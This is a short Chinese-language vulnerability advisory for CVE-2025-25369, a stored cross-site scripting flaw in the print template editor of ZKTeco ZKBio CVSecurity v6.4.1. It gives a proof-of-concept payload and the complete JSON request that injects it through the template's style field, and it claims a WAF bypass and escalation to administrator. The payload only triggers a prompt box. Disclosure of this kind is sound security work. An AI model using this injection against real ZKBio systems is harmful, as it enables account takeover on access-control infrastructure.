CVE-2025-25369

CVE-2025-25369：ZKTeco ZKBio CVSecurity v.6.4.1 中的跨站脚本（XSS）漏洞

在 ZKBio CVSecurity v.6.4.1 中发现了一个 XSS 漏洞。
拥有模板编辑器权限的攻击者可利用该漏洞，并将权限提升至管理员。 同时还实现了对内置 WAF 的绕过。 这可能导致系统被完全攻陷。

• 受影响版本：ZKBio CVSecurity <= v.6.4.1
• 修复于：-

CVSS 评分： 4.3（低危）
向量： CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L

受影响组件：

• zkbiosecurity/system/remote/BasePrintTemplateRemote.class
• basePrintTemplate.do?savePrintTemplate

攻击途径：

• 在创建打印模板时注入 XSS

Payload：

onpointerdown="prompt(8)"

请求所需全部数据：

[{"printType":"\"background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt\"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable\" onpointerdown=\"prompt(8)\" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":"\"Arial\"","printValue":"pers_person_pin","direction":"1"}]